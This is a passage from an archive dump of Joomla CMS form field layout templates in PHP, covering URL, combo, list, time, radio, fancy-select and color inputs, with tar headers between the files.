defined('_JEXEC') or die; use Joomla\CMS\String\PunycodeHelper; extract($displayData); /** * Layout variables * ----------------- * @var string $autocomplete Autocomplete attribute for the field. * @var boolean $autofocus Is autofocus enabled? * @var string $class Classes for the input. * @var string $description Description of the field. * @var boolean $disabled Is this field disabled? * @var string $group Group the field belongs to. <fields> section in form XML. * @var boolean $hidden Is this field hidden in the form? * @var string $hint Placeholder for the field. * @var string $id DOM id of the field. * @var string $label Label of the field. * @var string $labelclass Classes to apply to the label. * @var boolean $multiple Does this field support multiple values? * @var string $name Name of the input field. * @var string $onchange Onchange attribute for the field. * @var string $onclick Onclick attribute for the field. * @var string $pattern Pattern (Reg Ex) of value of the form field. * @var boolean $readonly Is this field read only? * @var boolean $repeat Allows extensions to duplicate elements. * @var boolean $required Is this field required? * @var integer $size Size attribute of the input. * @var boolean $spellcheck Spellcheck state for the form field. * @var string $validate Validation rules to apply. * @var string $value Value attribute of the field. * @var array $checkedOptions Options that will be set as checked. * @var boolean $hasValue Has this field a value assigned? * @var array $options Options available for this field. * @var array $inputType Options available for this field. * @var string $accept File types that are accepted. * @var string $dataAttribute Miscellaneous data attributes preprocessed for HTML output * @var array $dataAttributes Miscellaneous data attribute for eg, data-*. */ $attributes = [ !empty($size) ? ' size="' . $size . '"' : '', !empty($description) ? ' aria-describedby="' . ($id ?: $name) . '-desc"' : '', $disabled ? ' disabled' : '', $readonly ? ' readonly' : '', strlen($hint) ? ' placeholder="' . htmlspecialchars($hint, ENT_COMPAT, 'UTF-8') . '"' : '', !empty($autocomplete) ? 'autocomplete="' . $autocomplete . '"' : '', $autofocus ? ' autofocus' : '', $spellcheck ? '' : ' spellcheck="false"', $onchange ? ' onchange="' . $onchange . '"' : '', !empty($maxLength) ? $maxLength : '', $required ? ' required' : '', $dataAttribute, ]; /** * @deprecated 4.3 will be removed in 6.0 * The unicode conversion of the URL will be moved to \Joomla\CMS\Form\Field\UrlField::getLayoutData */ if ($value !== null) { $value = $this->escape(PunycodeHelper::urlToUTF8($value)); } ?> <input <?php echo $inputType; ?> inputmode="url" name="<?php echo $name; ?>" <?php echo !empty($class) ? ' class="form-control ' . $class . '"' : 'class="form-control"'; ?> id="<?php echo $id; ?>" value="<?php echo $value; ?>" <?php echo implode(' ', $attributes); ?>> joomla/form/field/combo.php 0000644 00000006026 15216442676 0011704 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2017 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; extract($displayData); use Joomla\CMS\HTML\HTMLHelper; /** * Layout variables * ----------------- * @var string $autocomplete Autocomplete attribute for the field. * @var boolean $autofocus Is autofocus enabled? * @var string $class Classes for the input. * @var string $description Description of the field. * @var boolean $disabled Is this field disabled? * @var string $group Group the field belongs to. <fields> section in form XML. * @var boolean $hidden Is this field hidden in the form? * @var string $hint Placeholder for the field. * @var string $id DOM id of the field. * @var string $label Label of the field. * @var string $labelclass Classes to apply to the label. * @var boolean $multiple Does this field support multiple values? * @var string $name Name of the input field. * @var string $onchange Onchange attribute for the field. * @var string $onclick Onclick attribute for the field. * @var string $pattern Pattern (Reg Ex) of value of the form field. * @var boolean $readonly Is this field read only? * @var boolean $repeat Allows extensions to duplicate elements. * @var boolean $required Is this field required? * @var integer $size Size attribute of the input. * @var boolean $spellcheck Spellcheck state for the form field. * @var string $validate Validation rules to apply. * @var string $value Value attribute of the field. * @var array $options Options available for this field. * @var string $dataAttribute Miscellaneous data attributes preprocessed for HTML output * @var array $dataAttributes Miscellaneous data attribute for eg, data-*. */ HTMLHelper::_('behavior.combobox'); $attr = ''; // Initialize some field attributes. $attr .= !empty($class) ? ' class="awesomplete form-control ' . $class . '"' : ' class="awesomplete form-control"'; $attr .= !empty($size) ? ' size="' . $size . '"' : ''; $attr .= !empty($readonly) ? ' readonly' : ''; $attr .= !empty($disabled) ? ' disabled' : ''; $attr .= !empty($required) ? ' required' : ''; $attr .= !empty($description) ? ' aria-describedby="' . ($id ?: $name) . '-desc"' : ''; // Initialize JavaScript field attributes. $attr .= !empty($onchange) ? ' onchange="' . $onchange . '"' : ''; $val = []; foreach ($options as $option) { $val[] = $option->text; } ?> <input type="text" name="<?php echo $name; ?>" id="<?php echo $id; ?>" value="<?php echo htmlspecialchars($value, ENT_COMPAT, 'UTF-8'); ?>" <?php echo $attr; ?> data-list="<?php echo implode(', ', $val); ?>" <?php echo $dataAttribute; ?> /> joomla/form/field/list.php 0000644 00000007620 15216442676 0011561 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\HTML\HTMLHelper; extract($displayData); /** * Layout variables * ----------------- * @var string $autocomplete Autocomplete attribute for the field. * @var boolean $autofocus Is autofocus enabled? * @var string $class Classes for the input. * @var string $description Description of the field. * @var boolean $disabled Is this field disabled? * @var string $group Group the field belongs to. <fields> section in form XML. * @var boolean $hidden Is this field hidden in the form? * @var string $hint Placeholder for the field. * @var string $id DOM id of the field. * @var string $label Label of the field. * @var string $labelclass Classes to apply to the label. * @var boolean $multiple Does this field support multiple values? * @var string $name Name of the input field. * @var string $onchange Onchange attribute for the field. * @var string $onclick Onclick attribute for the field. * @var string $pattern Pattern (Reg Ex) of value of the form field. * @var boolean $readonly Is this field read only? * @var boolean $repeat Allows extensions to duplicate elements. * @var boolean $required Is this field required? * @var integer $size Size attribute of the input. * @var boolean $spellcheck Spellcheck state for the form field. * @var string $validate Validation rules to apply. * @var string $value Value attribute of the field. * @var array $options Options available for this field. * @var string $dataAttribute Miscellaneous data attributes preprocessed for HTML output * @var array $dataAttributes Miscellaneous data attribute for eg, data-* */ $html = []; $attr = ''; // Initialize the field attributes. $attr .= !empty($class) ? ' class="form-select ' . $class . '"' : ' class="form-select"'; $attr .= !empty($size) ? ' size="' . $size . '"' : ''; $attr .= $multiple ? ' multiple' : ''; $attr .= $required ? ' required' : ''; $attr .= $autofocus ? ' autofocus' : ''; $attr .= $onchange ? ' onchange="' . $onchange . '"' : ''; $attr .= !empty($description) ? ' aria-describedby="' . ($id ?: $name) . '-desc"' : ''; $attr .= $dataAttribute; // To avoid user's confusion, readonly="readonly" should imply disabled="disabled". if ($readonly || $disabled) { $attr .= ' disabled="disabled"'; } // Create a read-only list (no name) with hidden input(s) to store the value(s). if ($readonly) { $html[] = HTMLHelper::_('select.genericlist', $options, '', trim($attr), 'value', 'text', $value, $id); // E.g. form field type tag sends $this->value as array if ($multiple && is_array($value)) { if (!count($value)) { $value[] = ''; } foreach ($value as $val) { $html[] = '<input type="hidden" name="' . $name . '" value="' . htmlspecialchars($val, ENT_COMPAT, 'UTF-8') . '">'; } } else { $html[] = '<input type="hidden" name="' . $name . '" value="' . htmlspecialchars($value, ENT_COMPAT, 'UTF-8') . '">'; } } else // Create a regular list passing the arguments in an array. { $listoptions = []; $listoptions['option.key'] = 'value'; $listoptions['option.text'] = 'text'; $listoptions['list.select'] = $value; $listoptions['id'] = $id; $listoptions['list.translate'] = false; $listoptions['option.attr'] = 'optionattr'; $listoptions['list.attr'] = trim($attr); $html[] = HTMLHelper::_('select.genericlist', $options, $name, $listoptions); } echo implode($html); joomla/form/field/time.php 0000644 00000005756 15216442676 0011554 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; /** * @var array $displayData Array with values. */ extract($displayData); /** * Layout variables * ----------------- * @var boolean $autofocus Is autofocus enabled? * @var string $class Classes for the input. * @var string $description Description of the field. * @var boolean $disabled Is this field disabled? * @var string $group Group the field belongs to. <fields> section in form XML. * @var boolean $hidden Is this field hidden in the form? * @var string $hint Placeholder for the field. * @var string $id DOM id of the field. * @var string $label Label of the field. * @var string $labelclass Classes to apply to the label. * @var boolean $multiple Does this field support multiple values? * @var string $name Name of the input field. * @var string $onchange Onchange attribute for the field. * @var string $onclick Onclick attribute for the field. * @var string $pattern Pattern (Reg Ex) of value of the form field. * @var boolean $readonly Is this field read only? * @var boolean $repeat Allows extensions to duplicate elements. * @var boolean $required Is this field required? * @var boolean $spellcheck Spellcheck state for the form field. * @var string $validate Validation rules to apply. * @var string $value Value attribute of the field. * @var array $checkedOptions Options that will be set as checked. * @var boolean $hasValue Has this field a value assigned? * @var array $options Options available for this field. * @var array $inputType Options available for this field. * @var string $accept File types that are accepted. * @var string $dataAttribute Miscellaneous data attributes preprocessed for HTML output * @var array $dataAttributes Miscellaneous data attribute for eg, data-*. */ $attributes = [ !empty($class) ? 'class="form-control ' . $class . '"' : 'class="form-control"', !empty($description) ? 'aria-describedby="' . ($id ?: $name) . '-desc"' : '', $disabled ? 'disabled' : '', $readonly ? 'readonly' : '', strlen($hint) ? 'placeholder="' . htmlspecialchars($hint, ENT_COMPAT, 'UTF-8') . '"' : '', !empty($onchange) ? 'onchange="' . $onchange . '"' : '', isset($max) ? 'max="' . $max . '"' : '', isset($step) ? 'step="' . $step . '"' : '', isset($min) ? 'min="' . $min . '"' : '', $required ? 'required' : '', $autofocus ? 'autofocus' : '', $dataAttribute, ]; ?> <input type="time" name="<?php echo $name; ?>" id="<?php echo $id; ?>" value="<?php echo $value ?>" <?php echo implode(' ', $attributes); ?>> joomla/form/field/radio/switcher.php 0000644 00000007315 15216442676 0013535 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Factory; extract($displayData); /** * Layout variables * ----------------- * @var string $autocomplete Autocomplete attribute for the field. * @var boolean $autofocus Is autofocus enabled? * @var string $class Classes for the input. * @var string $description Description of the field. * @var boolean $disabled Is this field disabled? * @var string $group Group the field belongs to. <fields> section in form XML. * @var boolean $hidden Is this field hidden in the form? * @var string $hint Placeholder for the field. * @var string $id DOM id of the field. * @var string $label Label of the field. * @var string $labelclass Classes to apply to the label. * @var boolean $multiple Does this field support multiple values? * @var string $name Name of the input field. * @var string $onchange Onchange attribute for the field. * @var string $onclick Onclick attribute for the field. * @var string $pattern Pattern (Reg Ex) of value of the form field. * @var boolean $readonly Is this field read only? * @var boolean $repeat Allows extensions to duplicate elements. * @var boolean $required Is this field required? * @var integer $size Size attribute of the input. * @var boolean $spellcheck Spellcheck state for the form field. * @var string $validate Validation rules to apply. * @var string $value Value attribute of the field. * @var array $options Options available for this field. * @var string $dataAttribute Miscellaneous data attributes preprocessed for HTML output * @var array $dataAttributes Miscellaneous data attributes for eg, data-*. */ // If there are no options don't render anything if (empty($options)) { return ''; } // Load the css files Factory::getApplication()->getDocument()->getWebAssetManager()->useStyle('switcher'); /** * The format of the input tag to be filled in using sprintf. * %1 - id * %2 - name * %3 - value * %4 = any other attributes */ $input = '<input type="radio" id="%1$s" name="%2$s" value="%3$s" %4$s>'; $attr = 'id="' . $id . '"'; $attr .= $onchange ? ' onchange="' . $onchange . '"' : ''; $attr .= $dataAttribute; ?> <fieldset <?php echo $attr; ?>> <legend class="visually-hidden"> <?php echo $label; ?> </legend> <div class="switcher<?php echo ($readonly || $disabled ? ' disabled' : ''); ?>"> <?php foreach ($options as $i => $option) : ?> <?php // False value casting as string returns an empty string so assign it 0 if (empty($value) && $option->value == '0') { $value = '0'; } // Initialize some option attributes. $optionValue = (string) $option->value; $optionId = $id . $i; $attributes = $optionValue == $value ? 'checked class="active ' . $class . '"' : ($class ? 'class="' . $class . '"' : ''); $attributes .= $optionValue != $value && $readonly || $disabled ? ' disabled' : ''; ?> <?php echo sprintf($input, $optionId, $name, $this->escape($optionValue), $attributes); ?> <?php echo '<label for="' . $optionId . '">' . $option->text . '</label>'; ?> <?php endforeach; ?> <span class="toggle-outside"><span class="toggle-inside"></span></span> </div> </fieldset> joomla/form/field/radio/buttons.php 0000644 00000012654 15216442676 0013405 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; extract($displayData); /** * Layout variables * ----------------- * @var string $autocomplete Autocomplete attribute for the field. * @var boolean $autofocus Is autofocus enabled? * @var string $class Classes for the input. * @var string $description Description of the field. * @var boolean $disabled Is this field disabled? * @var string $group Group the field belongs to. <fields> section in form XML. * @var boolean $hidden Is this field hidden in the form? * @var string $hint Placeholder for the field. * @var string $id DOM id of the field. * @var string $label Label of the field. * @var string $labelclass Classes to apply to the label. * @var boolean $multiple Does this field support multiple values? * @var string $name Name of the input field. * @var string $onchange Onchange attribute for the field. * @var string $onclick Onclick attribute for the field. * @var string $pattern Pattern (Reg Ex) of value of the form field. * @var boolean $readonly Is this field read only? * @var boolean $repeat Allows extensions to duplicate elements. * @var boolean $required Is this field required? * @var integer $size Size attribute of the input. * @var boolean $spellcheck Spellcheck state for the form field. * @var string $validate Validation rules to apply. * @var string $value Value attribute of the field. * @var array $options Options available for this field. * @var string $dataAttribute Miscellaneous data attributes preprocessed for HTML output * @var array $dataAttributes Miscellaneous data attributes for eg, data-*. */ $alt = preg_replace('/[^a-zA-Z0-9_\-]/', '_', $name); $isBtnGroup = strpos(trim($class), 'btn-group') !== false; $isBtnYesNo = strpos(trim($class), 'btn-group-yesno') !== false; $classToggle = $isBtnGroup ? 'btn-check' : 'form-check-input'; $btnClass = $isBtnGroup ? 'btn btn-outline-secondary' : 'form-check-label'; $blockStart = $isBtnGroup ? '' : '<div class="form-check">'; $blockEnd = $isBtnGroup ? '' : '</div>'; // Add the attributes of the fieldset in an array $containerClass = trim($class . ' radio' . ($readonly || $disabled ? ' disabled' : '') . ($readonly ? ' readonly' : '')); $attribs = ['id="' . $id . '"']; if (!empty($disabled)) { $attribs[] = 'disabled'; } if (!empty($autofocus)) { $attribs[] = 'autofocus'; } if ($required) { $attribs[] = 'class="required radio"'; } if ($readonly || $disabled) { $attribs[] = 'style="pointer-events: none"'; } if ($dataAttribute) { $attribs[] = $dataAttribute; } ?> <fieldset <?php echo implode(' ', $attribs); ?>> <legend class="visually-hidden"> <?php echo $label; ?> </legend> <div class="<?php echo $containerClass; ?>"> <?php foreach ($options as $i => $option) : ?> <?php echo $blockStart; ?> <?php $disabled = !empty($option->disable) ? 'disabled' : ''; $style = $disabled ? ' style="pointer-events: none"' : ''; // Initialize some option attributes. if ($isBtnYesNo) { // Set the button classes for the yes/no group switch ($option->value) { case '0': $btnClass = 'btn btn-outline-danger'; break; case '1': $btnClass = 'btn btn-outline-success'; break; default: $btnClass = 'btn btn-outline-secondary'; break; } } $optionClass = !empty($option->class) ? $option->class : $btnClass; $optionClass = trim($optionClass . ' ' . $disabled); $checked = ((string) $option->value === $value) ? 'checked="checked"' : ''; // Initialize some JavaScript option attributes. $onclick = !empty($option->onclick) ? 'onclick="' . $option->onclick . '"' : ''; $onchange = !empty($option->onchange) ? 'onchange="' . $option->onchange . '"' : ''; $oid = $id . $i; $ovalue = htmlspecialchars($option->value, ENT_COMPAT, 'UTF-8'); $attributes = array_filter([$checked, $disabled, ltrim($style), $onchange, $onclick]); ?> <?php if ($required) : ?> <?php $attributes[] = 'required'; ?> <?php endif; ?> <input class="<?php echo $classToggle; ?>" type="radio" id="<?php echo $oid; ?>" name="<?php echo $name; ?>" value="<?php echo $ovalue; ?>" <?php echo implode(' ', $attributes); ?>> <label for="<?php echo $oid; ?>" class="<?php echo trim($optionClass); ?>"<?php echo $style; ?>> <?php echo $option->text; ?> </label> <?php echo $blockEnd; ?> <?php endforeach; ?> </div> </fieldset> joomla/form/field/media/accessiblemedia.php 0000644 00000000735 15216442676 0014762 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2020 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; extract($displayData); $form = $forms[0]; $formfields = $form->getGroup(''); ?> <div class="subform-wrapper"> <?php foreach ($formfields as $field) : ?> <?php echo $field->renderField(); ?> <?php endforeach; ?> </div> joomla/form/field/list-fancy-select.php 0000644 00000010012 15216442676 0014121 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Factory; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; extract($displayData); /** * Layout variables * ----------------- * @var string $autocomplete Autocomplete attribute for the field. * @var boolean $autofocus Is autofocus enabled? * @var string $class Classes for the input. * @var string $description Description of the field. * @var boolean $disabled Is this field disabled? * @var string $group Group the field belongs to. <fields> section in form XML. * @var boolean $hidden Is this field hidden in the form? * @var string $hint Placeholder for the field. * @var string $id DOM id of the field. * @var string $label Label of the field. * @var string $labelclass Classes to apply to the label. * @var boolean $multiple Does this field support multiple values? * @var string $name Name of the input field. * @var string $onchange Onchange attribute for the field. * @var string $onclick Onclick attribute for the field. * @var string $pattern Pattern (Reg Ex) of value of the form field. * @var boolean $readonly Is this field read only? * @var boolean $repeat Allows extensions to duplicate elements. * @var boolean $required Is this field required? * @var integer $size Size attribute of the input. * @var boolean $spellcheck Spellcheck state for the form field. * @var string $validate Validation rules to apply. * @var string $value Value attribute of the field. * @var array $options Options available for this field. * @var string $dataAttribute Miscellaneous data attributes preprocessed for HTML output * @var array $dataAttributes Miscellaneous data attribute for eg, data-* */ $html = []; $attr = ''; // Initialize the field attributes. $attr .= !empty($size) ? ' size="' . $size . '"' : ''; $attr .= $multiple ? ' multiple' : ''; $attr .= $autofocus ? ' autofocus' : ''; $attr .= $onchange ? ' onchange="' . $onchange . '"' : ''; $attr .= $dataAttribute; // To avoid user's confusion, readonly="readonly" should imply disabled="disabled". if ($readonly || $disabled) { $attr .= ' disabled="disabled"'; } $attr2 = ''; $attr2 .= !empty($class) ? ' class="' . $class . '"' : ''; $attr2 .= ' placeholder="' . $this->escape($hint ?: Text::_('JGLOBAL_TYPE_OR_SELECT_SOME_OPTIONS')) . '" '; if ($required) { $attr .= ' required class="required"'; $attr2 .= ' required'; } // Create a read-only list (no name) with hidden input(s) to store the value(s). if ($readonly) { $html[] = HTMLHelper::_('select.genericlist', $options, '', trim($attr), 'value', 'text', $value, $id); // E.g. form field type tag sends $this->value as array if ($multiple && is_array($value)) { if (!count($value)) { $value[] = ''; } foreach ($value as $val) { $html[] = '<input type="hidden" name="' . $name . '" value="' . htmlspecialchars($val, ENT_COMPAT, 'UTF-8') . '">'; } } else { $html[] = '<input type="hidden" name="' . $name . '" value="' . htmlspecialchars($value, ENT_COMPAT, 'UTF-8') . '">'; } } else // Create a regular list. { $html[] = HTMLHelper::_('select.genericlist', $options, $name, trim($attr), 'value', 'text', $value, $id); } Text::script('JGLOBAL_SELECT_NO_RESULTS_MATCH'); Text::script('JGLOBAL_SELECT_PRESS_TO_SELECT'); Factory::getApplication()->getDocument()->getWebAssetManager() ->usePreset('choicesjs') ->useScript('webcomponent.field-fancy-select'); ?> <joomla-field-fancy-select <?php echo $attr2; ?>><?php echo implode($html); ?></joomla-field-fancy-select> joomla/form/field/color/advanced.php 0000644 00000010365 15216442676 0013471 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2016 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Factory; extract($displayData); /** * Layout variables * ----------------- * @var string $autocomplete Autocomplete attribute for the field. * @var boolean $autofocus Is autofocus enabled? * @var string $class Classes for the input. * @var string $description Description of the field. * @var boolean $disabled Is this field disabled? * @var string $group Group the field belongs to. <fields> section in form XML. * @var boolean $hidden Is this field hidden in the form? * @var string $hint Placeholder for the field. * @var string $id DOM id of the field. * @var string $label Label of the field. * @var string $labelclass Classes to apply to the label. * @var boolean $multiple Does this field support multiple values? * @var string $name Name of the input field. * @var string $onchange Onchange attribute for the field. * @var string $onclick Onclick attribute for the field. * @var string $pattern Pattern (Reg Ex) of value of the form field. * @var boolean $readonly Is this field read only? * @var boolean $repeat Allows extensions to duplicate elements. * @var integer $size Size attribute of the input. * @var boolean $spellchec Spellcheck state for the form field. * @var string $validate Validation rules to apply. * @var string $value Value attribute of the field. * @var array $checkedOptions Options that will be set as checked. * @var boolean $hasValue Has this field a value assigned? * @var array $options Options available for this field. * @var array $checked Is this field checked? * @var array $position Position of input. * @var array $control The forms control. * @var string $dataAttribute Miscellaneous data attributes preprocessed for HTML output * @var array $dataAttributes Miscellaneous data attributes for eg, data-*. */ if ($validate !== 'color' && in_array($format, ['rgb', 'rgba'], true)) { $alpha = ($format === 'rgba'); $placeholder = $alpha ? 'rgba(0, 0, 0, 0.5)' : 'rgb(0, 0, 0)'; } else { $placeholder = '#rrggbb'; } $inputclass = ($keywords && ! in_array($format, ['rgb', 'rgba'], true)) ? ' keywords' : ' ' . $format; $class = ' class="form-control ' . trim('minicolors ' . $class) . ($validate === 'color' ? '' : $inputclass) . '"'; $control = $control ? ' data-control="' . $control . '"' : ''; $format = $format ? ' data-format="' . $format . '"' : ''; $keywords = $keywords ? ' data-keywords="' . $keywords . '"' : ''; $colors = $colors ? ' data-colors="' . $colors . '"' : ''; $validate = $validate ? ' data-validate="' . $validate . '"' : ''; $disabled = $disabled ? ' disabled' : ''; $readonly = $readonly ? ' readonly' : ''; $hint = strlen($hint) ? ' placeholder="' . $this->escape($hint) . '"' : ' placeholder="' . $placeholder . '"'; $onchange = $onchange ? ' onchange="' . $onchange . '"' : ''; $required = $required ? ' required' : ''; $autocomplete = !empty($autocomplete) ? ' autocomplete="' . $autocomplete . '"' : ''; // Force LTR input value in RTL, due to display issues with rgba/hex colors $direction = $lang->isRtl() ? ' dir="ltr" style="text-align:right"' : ''; /** @var Joomla\CMS\WebAsset\WebAssetManager $wa */ $wa = Factory::getApplication()->getDocument()->getWebAssetManager(); $wa->usePreset('minicolors') ->useScript('field.color-adv'); ?> <input type="text" name="<?php echo $name; ?>" id="<?php echo $id; ?>" value="<?php echo $this->escape($color); ?>"<?php echo $hint, $class, $position, $control, $readonly, $disabled, $required, $onchange, $autocomplete, $autofocus, $format, $keywords, $direction, $validate, $dataAttribute; ?>/> joomla/form/field/color/slider.php 0000644 00000013726 15216442676 0013212 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ use Joomla\CMS\Factory; use Joomla\CMS\Language\Text; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * @var array $displayData Data for this field collected by ColorField */ extract($displayData); /** * Layout variables * ----------------- * @var string $autocomplete Autocomplete attribute for the field. * @var boolean $autofocus Is autofocus enabled? * @var string $class Classes for the input * @var boolean $disabled Is this field disabled? * @var string $display Which kind of slider should be displayed? * @var string $default Default value for this field * @var string $format Format of color value * @var string $hint Text for inputs placeholder * @var string $id ID of field and label * @var string $name Name of the input field * @var string $onchange Onchange attribute for the field * @var string $onclick Onclick attribute for the field * @var string $position Position of input * @var boolean $preview Should the selected value be displayed separately? * @var boolean $readonly Is this field read only? * @var boolean $required Is this field required? * @var string $saveFormat Format to save the color * @var integer $size Size attribute of the input * @var string $validate Validation rules to apply. * @var string $dataAttribute Miscellaneous data attributes preprocessed for HTML output * @var array $dataAttributes Miscellaneous data attributes for eg, data-*. */ if ($color === 'none' || is_null($color)) { $color = ''; } $alpha = $format === 'hsla' || $format === 'rgba' || $format === 'alpha'; $autocomplete = !empty($autocomplete) ? 'autocomplete="' . $autocomplete . '"' : ''; $autofocus = $autofocus ? ' autofocus' : ''; $color = ' data-color="' . $color . '"'; $class = $class ? ' class="' . $class . '"' : ''; $default = $default ? ' data-default="' . $default . '"' : ''; $disabled = $disabled ? ' disabled' : ''; $format = $format ? ' data-format="' . $format . '"' : ''; $hint = strlen($hint) ? ' placeholder="' . $this->escape($hint) . '"' : ''; $onchange = $onchange ? ' onchange="' . $onchange . '"' : ''; $onclick = $onclick ? ' onclick="' . $onclick . '"' : ''; $preview = $preview ? ' data-preview="' . $preview . '"' : ''; $readonly = $readonly ? ' readonly' : ''; $saveFormat = $saveFormat ? ' data-format="' . $saveFormat . '"' : ''; $size = $size ? ' size="' . $size . '"' : ''; $validate = $validate ? ' data-validate="' . $validate . '"' : ''; $displayValues = explode(',', $display); $allSliders = $display === 'full' || empty($display); /** @var Joomla\CMS\WebAsset\WebAssetManager $wa */ $wa = Factory::getApplication()->getDocument()->getWebAssetManager(); $wa->useScript('field.color-slider'); Text::script('JFIELD_COLOR_ERROR_CONVERT_HSL'); Text::script('JFIELD_COLOR_ERROR_CONVERT_HUE'); Text::script('JFIELD_COLOR_ERROR_NO_COLOUR'); Text::script('JFIELD_COLOR_ERROR_WRONG_FORMAT'); ?> <div class="color-slider-wrapper" <?php echo $class, $color, $default, $preview, $size, $dataAttribute; ?> > <!-- The data to save at the end (label created in form by Joomla) --> <input type="text" class="form-control color-input" id="<?php echo $id; ?>" name="<?php echo $name; ?>" <?php echo $disabled, $readonly, $required, $saveFormat, $validate; ?> > <!-- Shows value which is allowed to manipulate like 'hue' --> <label for="slider-input" class="visually-hidden"><?php echo Text::_('JFIELD_COLOR_LABEL_SLIDER_INPUT'); ?></label> <input type="text" class="form-control" id="slider-input" <?php echo $autocomplete, $disabled, $hint, $onchange, $onclick, $position, $readonly, $required, $format, $validate; ?> > <span class="form-control-feedback"></span> <?php if ($allSliders || in_array('hue', $displayValues)) : ?> <label for="hue-slider" class="visually-hidden"><?php echo Text::_('JFIELD_COLOR_LABEL_SLIDER_HUE'); ?></label> <input type="range" min="0" max="360" class="form-control color-slider" id="hue-slider" data-type="hue" <?php echo $autofocus, $disabled ?> > <?php endif ?> <?php if ($allSliders || in_array('saturation', $displayValues)) : ?> <label for="saturation-slider" class="visually-hidden"><?php echo Text::_('JFIELD_COLOR_LABEL_SLIDER_SATURATION'); ?></label> <input type="range" min="0" max="100" class="form-control color-slider" id="saturation-slider" data-type="saturation" <?php echo $autofocus, $disabled ?> > <?php endif ?> <?php if ($allSliders || in_array('light', $displayValues)) : ?> <label for="light-slider" class="visually-hidden"><?php echo Text::_('JFIELD_COLOR_LABEL_SLIDER_LIGHT'); ?></label> <input type="range" min="0" max="100" class="form-control color-slider" id="light-slider" data-type="light" <?php echo $autofocus, $disabled ?> > <?php endif ?> <?php if ($alpha && ($allSliders || in_array('alpha', $displayValues))) : ?> <label for="alpha-slider" class="visually-hidden"><?php echo Text::_('JFIELD_COLOR_LABEL_SLIDER_ALPHA'); ?></label> <input type="range" min="0" max="100" class="form-control color-slider" id="alpha-slider" data-type="alpha" <?php echo $autofocus, $disabled ?> > <?php endif ?> </div> joomla/form/field/color/simple.php 0000644 00000007120 15216442676 0013210 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2016 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Factory; use Joomla\CMS\Language\Text; extract($displayData); /** * Layout variables * ----------------- * @var string $autocomplete Autocomplete attribute for the field. * @var boolean $autofocus Is autofocus enabled? * @var string $class Classes for the input. * @var string $description Description of the field. * @var boolean $disabled Is this field disabled? * @var string $group Group the field belongs to. <fields> section in form XML. * @var boolean $hidden Is this field hidden in the form? * @var string $hint Placeholder for the field. * @var string $id DOM id of the field. * @var string $label Label of the field. * @var string $labelclass Classes to apply to the label. * @var boolean $multiple Does this field support multiple values? * @var string $name Name of the input field. * @var string $onchange Onchange attribute for the field. * @var string $onclick Onclick attribute for the field. * @var string $pattern Pattern (Reg Ex) of value of the form field. * @var boolean $readonly Is this field read only? * @var boolean $repeat Allows extensions to duplicate elements. * @var boolean $required Is this field required? * @var integer $size Size attribute of the input. * @var boolean $spellchec Spellcheck state for the form field. * @var string $validate Validation rules to apply. * @var string $value Value attribute of the field. * @var array $checkedOptions Options that will be set as checked. * @var boolean $hasValue Has this field a value assigned? * @var array $options Options available for this field. * @var array $checked Is this field checked? * @var array $position Position of input. * @var array $control The forms control. * @var array $colors The specified colors * @var string $dataAttribute Miscellaneous data attributes preprocessed for HTML output * @var array $dataAttributes Miscellaneous data attribute for eg, data-*. */ $class = ' class="form-select ' . trim($class) . '"'; $disabled = $disabled ? ' disabled' : ''; $readonly = $readonly ? ' readonly' : ''; Factory::getDocument()->getWebAssetManager() ->useStyle('webcomponent.field-simple-color') ->useScript('webcomponent.field-simple-color'); ?> <joomla-field-simple-color text-select="<?php echo Text::_('JFIELD_COLOR_SELECT'); ?>" text-color="<?php echo Text::_('JFIELD_COLOR_VALUE'); ?>" text-close="<?php echo Text::_('JLIB_HTML_BEHAVIOR_CLOSE'); ?>" text-transparent="<?php echo Text::_('JFIELD_COLOR_TRANSPARENT'); ?>"> <select name="<?php echo $name; ?>" id="<?php echo $id; ?>"<?php echo $disabled; ?><?php echo $readonly; ?><?php echo $dataAttribute; ?><?php echo $required; ?><?php echo $class; ?><?php echo $position; ?><?php echo $onchange; ?><?php echo $autofocus; ?> style="visibility:hidden;width:22px;height:1px"> <?php foreach ($colors as $i => $c) : ?> <option<?php echo ($c === $color ? ' selected="selected"' : ''); ?> value="<?php echo $c; ?>"></option> <?php endforeach; ?> </select> </joomla-field-simple-color> joomla/form/field/radiobasic.php 0000644 